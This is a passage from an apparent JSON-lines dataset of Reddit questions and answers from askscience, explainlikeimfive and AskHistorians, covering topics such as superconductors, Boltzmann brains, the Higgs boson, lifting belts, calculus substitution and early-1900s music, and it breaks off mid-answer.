a layer of superconducting material. The first provides a preferred path for the magnetic flux while the second forcefully excludes the fields through the [Meissner Effect](_URL_0_). \n\nBoth magnetic shielding and RF shielding are very sensitive to how the full shield is sealed together. I know someone that worked on professional pager repair, and the work could only be done inside a double-walled Faraday cage with bank vault-like doors. Even with both doors closed, if the sealing bolts weren't closed, the pagers could still get pages. In my work with superconducting resonators (very sensitive to applied magnetic field) I've seen poorly performing tests that were entirely caused by the magnetic shielding not being well connected, making it essentially useless. \n\nEdit: Read twice, submit once.", "*For your original question*: /u/just_commenting mentioned **'virtual photons'**, which mediate electromagnetic forces. This [article](_URL_1_) is probably the best explanation of virtual particles I've seen. \n\nDisclaimer that all I know about this topic was fueled by my huge discomfort with the idea of a continuos photon exchange in between two electrically charged particles electrostatically interacting without losing energy via those photons. Turns out, they're exchanging 'Virtual Photons'\n\nAs we know, all four of the fundamental forces have force carriers, for example photons for the electromagnetic field. We can also call this field the photon field. All subatomic particles can be said to exist in their field, such as the electron field for electrons. Particles are well defined disturbances in their otherwise undisturbed field.\n\nDisturbances in the electron field interact with disturbances in the photon field. Now turns out, specific disturbances in the photon field don't manifest themselves as well defined photons but instead as disturbances that still propagate at the speed of light, and interact with other fields. Any field that interacts with the photon field is said to have electrically charged particles which can interact in electrostatic situations, such as protons and elecrons.\n\nSuch disturbances are called 'Virtual Photons' and do not manifest as real photons. In fact, ALL electromagnetic phenomena are mediated by such virtual photons. If the graviton is real, the gravitational forces between the sun and the earth are mediated via virtual graviton. [All static forces are mediated via virtual particles](_URL_0_). \n\nThe virtual particles coming from a point source do not take away momentum from said point source ^(why?) where as real particles do. This virtual field also falls off at r^2 rather than r, so it has a much smaller distance where it is effective. Unlike photons it cannot be concentrated in a single direction (think of it as a ripple in the field).\n\nThe area in which the virtual particle field ripple is significant is called the Near Field, the basis of **NF**C"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mu-metal"], ["http://en.wikipedia.org/wiki/Meissner_effect"], ["http://en.wikipedia.org/wiki/Static_forces_and_virtual-particle_exchange", "http://profmattstrassler.com/articles-and-posts/particle-physics-basics/virtual-particles-what-are-they/"]]}
{"q_id": "biyafa", "title": "Is it possible to have 0 resistance?", "selftext": "Surely in the formulas this would break everything like V=IR and seems to break every rule, but what about firing singular electrons across a complete vacuum, surely there's no forces generating any resistance on it yet you're sending a current?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/biyafa/is_it_possible_to_have_0_resistance/", "answers": {"a_id": ["em4th5g"], "score": [35], "text": ["Yes.  Superconductors have exactly 0 resistance.   They can have current flowing with 0 voltage drop.  The V=IR relationship (ohm's law) is only followed in ohmic materials."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kap03", "title": "the boltzmann brain", "selftext": "I've read a bit about it but I still don't quite understand. Is a Boltzmann brain a consciousness that just randomly forms in the vacuum of the universe? This question stems from a Wikipedia page, about the timeline of future events, and trillions of years from now is around the estimated time that a Boltzmann brain will form.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kap03/eli5_the_boltzmann_brain/", "answers": {"a_id": ["cbn1d9w"], "score": [201], "text": ["The \"Boltzmann brain\" isn't really *anything.* It's a thought experiment in thermodynamics created to explore an interesting and complex question.\n\nThermodynamics is basically the study of heat and the flow of heat. Heat is a property of matter \u2014\u00a0it's got to do with energy on very small scales \u2014\u00a0but it *behaves* like it's a kind of fluid, moving from place to place across gradients the way water flows downhill. Since literally *all work in the universe* is a function of the flow of heat, a lot of work's been done on the subject of thermodynamics to better understand just how heat behaves.\n\nOne of the fundamental principles of thermodynamics is the idea of *equilibrium.* This is the notion that *differences* in heat will, over time, tend to \"even out.\" When you drop an ice cube into a glass of water, you create a thermodynamic system with a significant heat gradient in it. Heat will flow out of the water and into the ice cube, melting it, and eventually the entire glass will reach a uniform temperature.\n\nOne of the interesting conclusions of the idea of thermodynamic equilibrium is that while it's *possible* for a system in equilibrium to move into a non-equilibrium state, it's so *vastly improbable* that you can safely assume it'll never happen. There's no physical law that says one spot in your glass of water can't spontaneously get cold and freeze into an ice cube. But it's so incredibly unlikely that you could watch a glass of water for infinite time and never see an ice cube form.\n\nAnd yet \u2026\u00a0we exist. We, hugely complicated and structured collections of matter, exist in nature. We're *here,* when the laws of thermodynamics seem to imply that we shouldn't be here. Our emergence would seem, at first glance, to be even more improbable than an ice cube spontaneously forming in a glass of tap water.\n\nLudwig Boltzmann was one of the great thermodynamicists. But even he was perplexed by the existence of seemingly thermodynamically impossible things like human beings. He proposed an idea to get around the apparent impossibility of our existence: Maybe we *are* just ice cubes that formed spontaneously. After all, as we said before, there's no physical law that says ice cubes can't form in glasses of water. It's just *really improbable* that they should. But in an infinite universe, isn't it possible for the vastly improbable to happen? Since there's nothing *preventing it,* then it in fact *can* occur, and the fact that it did isn't itself a violation of the laws of thermodynamics. We're only surprised to find that we exist because, well, *we're the ones who are noticing we exist.* If \"we\" were somehow disembodied minds observing the cosmos at a larger scale, the fact that there's a tiny, completely insignificant thermal fluctuation in this one invisibly small spot doesn't seem all that surprising, or even particularly interesting.\n\nThere's a problem with that idea, though. If it's possible for *us* to have emerged in the universe in the way that we did \u2014\u00a0as complex biological organisms that evolved greater complexity in a steady process taking place over millions of years \u2014 then it's also possible for a conscious, thinking being to just emerge *spontaneously* out of, for instance, a glass of water. Boltzmann advanced the idea that, thermodynamically speaking, in fact it's *vastly more probable* that a thinking being should emerge spontaneously out of thermodynamic equilibrium than what happened with us. So if we exist, then the universe should, mathematically speaking, be *packed wall to wall* with these spontaneously emerging \"brains.\"\n\nExcept it isn't. And that, to Boltzmann, looked like a paradox. If a vastly improbable thing happened once, then why didn't a *much more probable* thing happen proportionally more frequently?\n\nBoltzmann never resolved that problem to his own satisfaction. But he also died more than a century ago, before the advancement of biological science gave us the insight we have today into how natural selection works. The short version is that natural selection *amplifies the improbable.* Because organisms reproduce, and pass on their traits as they do, an improbable thing only has to happen *once* for it to be amplified and distributed through an environment. Over a long enough timeline, *tiny* changes give rise to vast complexity. It ends up *looking like* something hugely improbable happened, but in fact what happened is that over a very long span of time, a long series of only *slightly* improbable things happened. Those many slightly improbable things added up to what appears to be a highly ordered system, but which in fact is just the product of a gradual process of emergence over time.\n\nBasically, it's like the idea of flipping a quarter and getting ten heads in a row. The odds of that happening are quite small \u2014\u00a0just one in a thousand \u2014\u00a0but anybody who's spent time flipping a coin knows that that kind of \"run\" happens really often. In fact, it's far more probable that the tosses of a coin should present series of heads or tails than it is to get heads-tail-heads-tail-heads-tail for a long time. That's because the coin itself has no memory. It doesn't \"know\" that it came up heads three times in a row, and therefore coming up heads one more time in a row is unlikely. The coin has no natural tendency to \"balance itself out\" by giving you a tails after you've gotten a heads. Every flip of the coin is a whole new proposition, one with a 50/50 chance of going either way.\n\nSo the ultimate resolution to the \"Boltzmann brain\" thing is that we \u2014\u00a0human beings \u2014\u00a0aren't so vastly improbable after all. Our existence doesn't flagrantly violate the laws of thermodynamics, like the spontaneous formation of an ice cube in a glass of water would, or indeed the spontaneous formation of something that can think. Our existence is cumulative, the product of a great many things which weren't really that improbable at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fu080", "title": "the higgs boson, the god particle and why hawking thinks it will end life as we know it in our universe.", "selftext": "Yes, I went to google.  Yes I went to wikipidea.  Both went WAY WAY WAY Over my wee little head.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fu080/eli5the_higgs_boson_the_god_particle_and_why/", "answers": {"a_id": ["ckcp99k", "ckcq4c0", "ckcvx94", "ckczx99", "ckd3bei"], "score": [7, 21, 2, 3, 3], "text": ["The Higgs mechanism explains why particles have mass. The god particle is a misnomer^([citation needed]) for the Higgs boson. As to why hawking thinks that is just an exaggeration by media. \n\nTo generate that kind of a particle would require enormous amounts of energy - most likely not sustainable by the planet or the human race. It something like blowing up a huge atomic bomb but confining it in a pipeline. \n\nJust take the news with a grain of salt. The world isn't gonna end anytime soon. ", "If  I'm thinking about the correct thing, he actually said something completely different and it went way over the media's head too. ", "Now all we gotta do is build a planetary sized Halo and split the god particle on it", "So...should we be worried or...?", "As others have said, \"god particle\" is pretty much entirely a media-made term.\n\nIt was originally referred to as \"the goddamn particle\" because it was so difficult to find.\n\nParticles are the way in which various fields are mediated - and are what fluctuations in a field look like when they're examined at any given point in time.\n\nSo, for example, the electromagnetic field is mediated by the photon - all EM interactions happen via photons of one type or another. These can be real or virtual particles (real particles are long-lived, virtual particles exist only for tiny fractions of time to do some particular thing, then disappear).\n\nThe field which the Higgs boson mediates is mass.\n\nThe Standard Model has an interesting quirk associated with it - the only way for the math to work out right for it is if all particles are massless. Obviously there are many particles which have mass, which means that something is going on in order for this to be true.\n\nThe solution to this is the Higgs field. It's a field, like the electromagnetic field or gravity or any other field, which extends throughout space.\n\nThe following analogy is going to be useful for understanding, but pretty much nothing like how it actually works: any particle with mass interacts with the Higgs field, and it's like it's trying to move through treacle (or molasses, depending on your country of origin!) and is slowed down, and thus given mass.\n\nThe interesting thing about the Higgs field is that it has a nonzero value even in complete vacuum. This is unlike other fields, which read as zero without something nearby.\n\nAs for ending the universe; there's a complex set of calculations which gives us a potential answer for whether or not the universe is stable or not.\n\nThere are several things that this relies upon. One of these is the mass of the Higgs boson. The last unknown for it is the mass of the Top quark.\n\nThere are three classes which the stability of the universe could fall into - stable, metastable or unstable.\n\nUnstable is really bad, as it means that the universe could decay in such a way that would destroy it.\n\nThankfully the LHC ruled this out.\n\nMetastable is a bit more of an interesting thing; metastability means that the universe is stable, but exists as a false vacuum (that is, the lowest energy state in the universe isn't actually the lowest possible energy state). What this means is that essentially you can think of a graph with several saddles in it, with the bottom of the higher saddle being our lowest energy state.\n\nThere exists, if the universe is metastable, the possibility for vacuum decay, in which something causes a portion of the universe to decay to a lower vacuum energy level. This would result in a shockwave which expands at the speed of light, destroying everything in its path, until it consumes the entire universe - called a vacuum metastability event.\n\nCurrently the LHC has put the possibility of the universe being most likely in the metastable category. It'll require better measurement of the mass of the Higgs boson and Top quark to determine which it is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "121ag5", "title": "Whats the history and significance behind the phrase \"Spring Cleaning?\" ", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/121ag5/whats_the_history_and_significance_behind_the/", "answers": {"a_id": ["c6rcles"], "score": [4], "text": ["During Winter, houses tend to be closed up a lot, to keep the heat in. They don't get a lot of fresh air. And, in the days of wood or oil heating, a lot of smoke and dust accumulated in the house.\n\nWhen the weather starts turning warmer in the Spring, it's time to open the windows, shake out the rugs, sweep the floors, and get rid of the detritus which accumulates during the Winter.\n\nWhen I quickly double-checked this information which I've known *forever*, I found that there also seem to be [links to some religions' rituals](_URL_0_), such as Jewish Passover and Persian New Year.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wisegeek.com/what-are-the-origins-of-spring-cleaning.htm"]]}
{"q_id": "1d64qa", "title": "how do talk radio shows keep from getting prank calls/trolls?", "selftext": "I sometimes turn on a sports show just to have something in the background. Also, my dad is an avid listener of conservative radio, so I had to listen to that for years when I was younger. In all that time, I have never heard a prank caller on any of those shows.\n\nI know they usually screen callers, but what's stopping a caller from acting normal to the screening person, then pulling a prank on the air?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1d64qa/eli5_how_do_talk_radio_shows_keep_from_getting/", "answers": {"a_id": ["c9n94ar", "c9n96e3", "c9njeqy", "c9nm4bp"], "score": [22, 4, 2, 3], "text": ["majority of the broadcasted radio stations have a 5-10 second delay before going over the air so half the time the broadcaster can hit the dump button (delay button) to prevent it from going out over the air waves ", " > I know they usually screen callers, but what's stopping a caller from acting normal to the screening person, then pulling a prank on the air?\n\nSome places try harder at screening than other places.  Some still get through though. ", "You really need to watch PLA radio on YouTube. Cacti radio auction prank calls. \n\nTl;dd: it does happen", "I know this has already been answered, but when I was an intern for the WAAF morning show it was my job to screen calls for the show.  I had to get the basics (who/where/why) from them before they were allowed to go on.  They still ran the delay that /u/cronparser mentioned in case some listeners swore by accident, or thwarted my attempts to feel and weed out prank calls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5uuvw7", "title": "Did Alexander Hamilton have any sort of reaction to article 2 of the Constitution (No Person except a natural born Citizen, or a Citizen of the United States...shall be eligible to the Office of President), considering he wasn't a natural born citizen? Did he have any desire to be President?", "selftext": "Thanks", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5uuvw7/did_alexander_hamilton_have_any_sort_of_reaction/", "answers": {"a_id": ["ddx3hme"], "score": [22], "text": ["Could you clarify what you are asking? You cut out a section of the sentence which leads me to read the first question possibly not as intended. The entire sentence reads (emphasis mine):\n\n > No Person except a natural born Citizen, or a Citizen of the United States, **at the time of the Adoption of this Constitution**, shall be eligible to the Office of President.\n\nThat is to say, if you were a Citizen when the Constitution was adopted, which Hamilton was, you were eligible for the Presidency regardless of where you were born. The Natural Born Citizen provision only kicks in for persons who were not citizens when the Constitution was adopted, and thus Hamilton was eligible. \n\nSo were you asking what Hamilton felt about being excluded (the answer then being that he wasn't excluded), or what Hamilton, not being born in the US himself, felt about the prospect of exclusion for future generations of immigrants? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bx4ckw", "title": "why do powerlifters wear a strap around their stomach? how does that help them lift more weight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bx4ckw/eli5_why_do_powerlifters_wear_a_strap_around/", "answers": {"a_id": ["eq3a7fm", "eq4kb9h", "eq58duk", "eq5mgpg", "eq5njv4", "eq5p527"], "score": [6512, 67, 220, 11, 4, 13], "text": ["None of these comments are exactly right.\n\nIt's a lifting belt.  It's typically a rigid belt made of leather, usually 10 to 13 mm thick, and 4 inches wide.  It's not just slapping it on, and it \"reduces stress.\"  In fact, it increases stress.  That's the purpose.  It works by two main ways.  First, it serves as basically an exoskeleton to push your abdominal muscles against, so you can valsalva harder.  Valsalva is the that thing you do where you take a breath, and \"bear down\" (similar to trying to fart).  This increases the pressure in your intraabdominal cavity and intrathoracic cavities, and makes the structure overall more rigid.  This allows for better transmission of energy to the bar, and helps keep your back stiff against the load.\n\nThe second thing it does is acting as a sort of bio feedback, by giving you something to contract and push your abs against.  Try pushing your arms out to your sides as hard as you can, just out in the air.  Now try it in a doorway, with something to push against.  You get a better, stronger muscle contraction, which similar to what a belt does against your core.\n\nFinally, I haven't seen people discuss this much, but I believe a belt adds physical tension directly to your spinal erectors (the muscles that run up either side of your spine), and allow them to exert effectively more force against a load.  You can demonstrate this effect by squeezing your wrist with one hand, and watching the fingers try to curl up in that hand, as you apply tension to the tendons that run to them.\n\nIn summary, through a few different mechanisms, it allows them to have more effective muscle contractions and keep a more rigid torso while lifting the weight.\n\n\nEdit:\n\n**Regarding hernias:**  hernias typically happen there is too much pressure in the abdomen, and there is a weak spot in the abdominal wall.  Not necessarily a weak spot in the muscle, but can be a weak spot in the connective tissue itself.  Belts may or may not prevent hernias.  They may actually promote hernias in some areas, due to the increased intraabdominal pressure.  Nobody has studied this in a real way among strength athletes, AFAIK.  If you know of something, let me know.", "In short, it gives your core (abdominal etc) muscles something to push out against. Drastically increasing your core stability during the lift.", "Squishy bottle vs rigid bottle. The belt helps increase intraabdominal pressure - the same way an empty bottle with the cap on is hard to bend or twist, the air pushes out. Take the cap off, and there isnt any pressure - the bottle is easy to deform.", "Think of your body like a soda can.\n\nAn open soda can easily be crushed, even if it's full of liquid  (no bracing)\n\nAn unopened soda can is much harder to crush (holding your breath)\n\nWhen you shake up a soda can it gets even harder to squish (squeezing your abs while the lungs are full of air)\n\nIf you wrap a soda can tightly with layers of duct tape, THEN shake it up it becomes incredibly hard to crush. (Wearing a belt and bracing)", "To understand why powerlifters wear a belt, you first need to understand that when lifting you need to brace your core when lifting.\n\n[Decent five minute video by Alan Thrall fairly much explains it all.](_URL_0_)", "Simple analogy.\n\nStand on an empty coke can and it crumples\n\nStand on a full pressurised coke can and it has strength\n\nA lifting belt turns your body into the full coke can - it makes it more rigid by increasing internal pressure"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://youtu.be/-I9LIsIpsQE"], []]}
{"q_id": "6cm476", "title": "My Grandfather passed away earlier this year. He talked a few times about growing up during the war but there's so many questions I still want to ask. Anyone know what the position of the man in the German uniform is? (My great grandfather) Circa 1943", "selftext": "[Image](_URL_0_) \n\nThe title says most of it. My grandfather told me his dads name once but they have a very generic surname so looking on any ancestry site is akin to trying to find a distant relative called John Smith", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6cm476/my_grandfather_passed_away_earlier_this_year_he/", "answers": {"a_id": ["dhvu3e2", "dhw1x4h", "dhx9nst"], "score": [130, 11, 3], "text": ["Definitely regular army.  Judging by the style / shape of the shoulderboards, he'd be a company grade officer (Leutnant, Oberleutnant, or Hauptmann).  In a good color photo, we'd be able to tell what sort of unit he'd be in (i.e. infantry, artillery, signals, etc.) from the color accent on the collar insignia.  Since the Waffenfarbe appears to be dark, we're able to at least rule *out* a few branches that had especially light colors associated with them - namely infantry (white) and signals (light yellow).\n\nYou might try to reach out to [these people](_URL_0_) for help.  They've been a huge help to me researching some of my wife's relatives.", "The problem with identifying the insignia in black and white is that it was actually colored differently for different branches, but overall very similar.\n\n[Coloration example from a Webshop](_URL_0_)", "Thank you everyone for your comments, especially for some of the more in-depth replies. I really value everyone's input and have just not had the time to go through this thread since I posted."]}, "title_urls": [], "selftext_urls": ["https://i.redditmedia.com/AVAGFtrofZB5KUHUQM__LmLgb5kw0L7LdQ93nGqQNgA.jpg?w=978&amp;s=ef0525850e4b32bf8967912dcf31da4f"], "answers_urls": [["https://www.dd-wast.de/en/home.html"], ["http://www.worldwar2-militaria.com/index.php?pr=Heer_%28Army%29_Collar_Insignia"], []]}
{"q_id": "58cngu", "title": "why are older itunes movies (2014 or before) still $14.99 or more? wouldn't a lower cost drive greater sales?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58cngu/eli5_why_are_older_itunes_movies_2014_or_before/", "answers": {"a_id": ["d8zape8", "d8zcvc1", "d8ze9y7", "d8zfhzd"], "score": [59, 2, 15, 2], "text": [" >  Wouldn't Apple drive far greater revenue for themselves and their media partners if they kept the prices on those old movies below the $10 threshold?\n\nMaybe! But those prices are likely based upon negotiated agreements with the publishers and it isn't up to Apple to switch them around according to any pricing strategy they come up with.", "Even if the lesser cost did drive a number of sales, they would actually have to sell more of those movies to turn a profit. The other element that needs to be considered is the cost of the goods sold. The cost to sell a given movie may remain fixed, so if the price drops and the volume of sales increases, they may actually get themselves into a position where they undermine themselves financially.", "Firstly, you having them in your wishlist is a great little example of demand. It wouldn't surprise me if that data is used to help decide on the right pricing (between owner and apple).\n\nSecondly, they'd have to see an increase of about 50% in sales of the film after lowing the price to have this be worthwhile.  You've kinda just said it...you'll buy it when it hits $10, but all the people who are buying it at $15 would only pay $10 if they lowered the price.  Are there 1 of you for every 2 that is currently buying it?  The owner of the film and iTunes doesn't think so, otherwise they'd have made the switch you're suggesting!", "they might sell more movies, but they would make less money on each movie, so it would likely even out. I know of an example that is similar that shows this well.\n\nIn Denmark, where i live, beer, soda, wine and the likes are rather expensive because of taxes and fees. For that reason a lot of people cross the border to Germany where it is somewhat cheaper (especially before large parties like birthdays). As this draws away sales from danish stores, our government have multiple times tried to change some of the taxes and fees to keep more money in danish stores (and thus in the budget) rather than german ones. But interestingly enough, the amount of income the government get from these fees are fairly stable no matter if they raise or lower the fees. in essense lower fees means more sales in Denmark, but less revenue for each sale, higher fees means less sales but more revenue, and at the end of the day (well year really), it more or less evens out. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "x0fqf", "title": "What is the most asymmetric animal?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x0fqf/what_is_the_most_asymmetric_animal/", "answers": {"a_id": ["c5i28u9", "c5i37yq", "c5i5vm2", "c5i6g1s", "c5i770e", "c5i9zke"], "score": [39, 15, 16, 31, 2, 4], "text": ["Sponges lack symmetry as do around 400 species of flatfish according to [wiki](_URL_0_).", "I always found it interesting animals are generally symmetric on the outside but almost never on the inside in regards to organs. (like appendix, stomach, heart, etc lean more towards one side then the other.)\n\nEdit: Yes organs not organelles", "[Something went wrong here.](_URL_0_)", "[The Fiddler Crab](_URL_0_) is a bit lop-sided.", "I know a prof. who studies asymmetries. \n\n_URL_0_", "You should have asked what is the most asymmetric vertebrate instead"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Symmetry_in_biology#Asymmetry"], [], ["http://i.imgur.com/GUcoW.gif"], ["http://imgur.com/1QdK4"], ["http://www.biology.ualberta.ca/palmer/asym/asymmetry.htm"], []]}
{"q_id": "wm60x", "title": "the substitution rule in calculus", "selftext": "I'm taking Calculus II over the summer and we did the Substitution rule last week, but for the life of me I can't understand it. I get that you just replace some part of the difficult equation with 'u', but I don't understand at all how to decide which part to pick and what you're even supposed to do with 'u' once you decide what it is.\n\nThis is really killing me, can anyone put this in simple terms for me while still explaining the steps or something, I get the concept but that is just too abstract.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wm60x/eli5_the_substitution_rule_in_calculus/", "answers": {"a_id": ["c5eibd6", "c5ekbcq", "c5emxs3"], "score": [3, 2, 2], "text": ["its kind of an art really. If you are talking about something hideous to differentiate, [this gives a real easy example to follow](_URL_0_) \n\nEssentially all you do is see something that differentiating as one piece is a real pain in the ass, so you substitute u for it, take the derivative of w/e you set u equal to, then diff the rest. Once done diff the rest, you replace u w/ the other variables. ", "You treat the 'u\" just like you would treat an 'x'. You know how to integrate \\int x^2 dx, and you integrate \\int u^2 du in exactly the same way. In calculus (and algebra), the particular letters you use don't matter, as long as you're consistent in replacing every instance of the old variable when you switch. After you've done the integration, if you want an answer in terms of 'x', just replace the u back with what you originally substituted it for. \n\nAs for how you know what to substitute, it comes down to pattern recognition, which you can only really develop through practice. But the central idea is that there aren't very many things that you can \"natively\" integrate - in basic calculus, you're limited to integrating constants, terms of the form x^n, basic trig functions, and the exponential function. So to integrate anything else, you need to reduce it to one of those basic forms.\n\nBasic example: What's \\int (2x + 7)^1/2 dx? Well, we know how to integrate x^1/2 (or u^1/2, or q^1/2), but we don't know how to integrate (more complicated thing)^1/2. So let's make the complicated thing into a single variable, by setting u = 2x + 7. Now the integrand becomes u^1/2, which we know how to integrate. But we need to replace every instance of x with a u, so what do we do about that dx term? Well, if u = 2x + 7, then differentiating both sides, du = 2dx, which is the same as saying dx = (1/2) * du. So we can replace dx with (1/2)du, and get (1/2)\\int u^1/2 du (I pulled the 1/2 out, since it's a constant). Using the usual rule, that's equal to (1/2)u^3/2 * 2/3 + C. We want an answer in terms of x, so let's replace the u with (2x + 7). We end up with (1/3) * (2x + 7)^3/2 + C.\n\nEdit: I was assuming you were doing integration. I'll write up an example later for using it in differentiation. ", "**For integration:**\n\nFirst off, let's take a function, say **y = (3x - 1)^2** \nIf I ask you to integrate this, it's hard. It doesn't follow any basic rules.  \nSo you're stuck with **Y = int[ (3x - 1)^2 dx ]**\n\nThis is where substitution comes into play.\n\nYou can replace anything in that equation with variables and mess around with that. The goal is to make your equation fit a basic pattern. In this case, I want to get something that looks  \n**like Y = int [ x^2 dx ]**\n\nSo, to start off I'll make a **new variable, \"u\".** Now, I want it to look  \n**like Y = int [ u^2 du ]**\n\nThe reason I chose this pattern is because it's really close to what we had, and experience tells me this is probably it. It's a game of finding patterns.\n\nAnyway, I need to make my initial equation look like this.  \n**Well, u = 3x - 1 would make this into Y = int[ u^2 dx ]**  \nThis is really close. I need a \"du\" in there to make this work. The way to do this is to derive u in order to get du/dx. If I can get a du/dx in there I can multiple away the dx on top and on bottom.\n\n**So, deriving u, I get du/dx = 3**\n\nSo now I have Y = int[ u^2 dx]. What I can do is multiple by 3/3 (or think of it as multiplying by 1/3 and 3/1). Watch:  \nY = (1/3) int[ u^2 dx (3) ]  \n3 = du/dx  \nY = (1/3) int[ u^2 dx (du/dx) ]\nY = (1/3) int[ u^2 du]\n\nTa daa!\n\nNow that's easy to integrate. The pattern for int[ x^n dx] is really simple, and it works whether you have an x or a different letter. Once your done, you can just replace any leftover u's with 3x -1 (since they are equal after all.)\n\n____\n\nSometimes you need a variable to make your du/dx though. For example, what if the equation was \"**y = (x^2 - 1)^2 * 2x**\"?\n\nWell, the answer is to just look for patterns. This is similar to the last one - you can see something close to u^2 du. \n\nWhat you do for this one is say **u = x^2 - 1**  \nthen, deriving you get **du/dx = 2x**\n\nReplacing the original equation, you get **y = u^2 * du/dx**. Integrating this you get **Y = int[u^2 * dx * du/dx] = int[ u^2 du]**    \n\n____\n\nIf you look at this, it's all following a similar pattern. **You're looking for some function you can integrate** (like u^2, or 3u, or 2u^3 + 10u^2 + 3u) **multiplied by its derivative** (2u, 3, 6u^2 + 20u + 3). That lets you sub in u and du/dx, giving you a nice \"int[ u-function du]\" that's much easier to solve.\n\n____\n\n**Derivative explanation will be in comments**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.math.hmc.edu/calculus/tutorials/substitution/"], [], []]}
{"q_id": "9mtwvq", "title": "What would be \"rebellious teen\" music in the 1910's?", "selftext": "This is such an odd question I know but you know how today there's alot of rap and hip hop songs that older people usually consider part of teen culture? Was there anything like that in say, the 1910's?\n\n\nEDIT: the answer to this turned out alot more interesting than I thought it would be. Thank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9mtwvq/what_would_be_rebellious_teen_music_in_the_1910s/", "answers": {"a_id": ["e7ht2ps", "e7hy982", "e7hzgl1", "e7i1hev", "e7i23hm"], "score": [28, 36, 1794, 23, 91], "text": ["This is a great question -- thanks for asking it! This isn't my area of expertise as such, but I can definitely point you in the right direction(s). For the purposes of this question, I'm going to run with the youth counterculture of basically-middle-class white Americans.\n\nA couple of major things to remember about 1910: sourcing and listening to \"counter-cultural\" music was a lot different than tuning into the radio (not really a commercial mainstay until the 1920s) or buying a record. Records had just beat out cylinders as the primary recording medium, but most people didn't buy the records to hit songs: they bought the sheet music and played (or sang) it at home. This was the height of the collection of music publishing houses we now know as Tin Pan Alley, and the sales of the sheet music itself were a far greater indicator of a \"hit\" than the number of recordings it sold -- music stores paid songwriters to come up with new works, piano players to demonstrate new songs to customers (for sampling before they purchased one), and theater and vaudeville shows popularized the newest hits (which, of course, you'd want to buy the music for to play on your own at home). Oftentimes, traveling salesmen were the ones writing the songs as a bit of a side gig, and they didn't stand on ceremony when it came time to find venues to perform music with the purpose of getting potential customers to buy the sheet music -- bars, brothels, and restaurants were all fair game. I would love to get into this more for my own edification, but the introduction to *Tin Pan Alley: An Encyclopedia of the Golden Age of American Song* by David Jasen does a nice job of providing a baseline introduction to the culture of the music industry in the early 1900s and how new songs were created and disseminated to the public at a time when recordings didn't drive the music industry.\n\nAll of that is to say that, in 1910, you're not going to see a group of young counter-cultural types sitting around listening to edgy music; they're either playing it in their own homes or going out to see it performed live, and the peak of rebellious teenager music was going to a music house or club and doing the any of the \"[animal dances](_URL_1_)\" like the turkey trot, a dance that induced a bit of a moral panic in more polite corners of American society (that it was [widely condemned](_URL_2_) by [moral authorities at the time](_URL_0_) only made it more popular among young Americans). You wouldn't be seen doing this in genteel venues -- there was a racial element to many of these dances, based as they were on ragtime (a distinctly Black American musical art form that helped lead to the development of jazz), that would have deeply concerned more conservative Americans (not unlike, I suppose, your example of rap in the modern era).\n\nThis is about the extent of what I know of this -- the 1920s gets far more attention, so your question is pretty awesome in that regard. Hope this helps!", "The capitalisation of music, as we know it, hadn't occured quite yet as records and record players were yet to be as mass produced and affordable for the general public as they are now. Additionally, the \"rebellious teen\" trope can't apply to the period because, as a teenager in the 1910s, you had the choice of working on the farm, working in the city, or, later, going to war. Rebellion in music did occur, but not in the way you think.\n\nRecordings in the US were made and historians have recently helped make many of them available through anthologies (cf. *Anthology of American Folk Music*, *Lost Sounds: Blacks and the Birth of the Recording Industry (1890-1919)*, and the *American Primitive* series). Much of this music is 'rebellious' in that it criticizes society: it details lynchings, imprisonment, physical brutality, segregation, and the class system. However, the music was sung and played by the people, for the people, so everyone in the community, not just teenagers, 'rebelled' through the blues. Jazz began to form in the later parts of this period and, even in its early forms, it too was a rebellion, but also a form of folk embellishment, on what was considered the tradition.\n\nHowever, the biggest place to hear music in this period was from the orchestras in the concert halls, and there was no greater rebellion in music than in classical music. Classical music in this period would be closest to the 'rebellious teen music' trope that we have now. The modern period shook music in ways the punk and grunge and metal movements wish they could.\n\nAround this time, some of the most famed composers of the previous period were getting old or dying, like Strauss and Mahler. They produced work that startled (e.g. *Salome*), but it wasn't quite at punk-rock levels of rebellious. Their deaths and the hangers-on of the tradition left the concert halls open to just playing the old canonical music and the vast majority was happy to hear minor rebellions and Beethoven concertos. But by the 1910s, the avant-garde was exploding and challenging the traditional in ways that shook the world: Matisse shocked people with his Fauvism; Duchamp made his famous *Fountain*; Picasso had moved past *Les Demoiselles* and was fully into some of his greatest cubist works. \n\nA stem of the early artistic expressionist movement had to do with rebellion against photography. And composers took on recordings in much the same way.\n\nIf I had to name just one Sid Vicious or Kurt Cobain of this period, it would be Arnold Schoenberg. We've all heard about harmony and melody; what he invented was 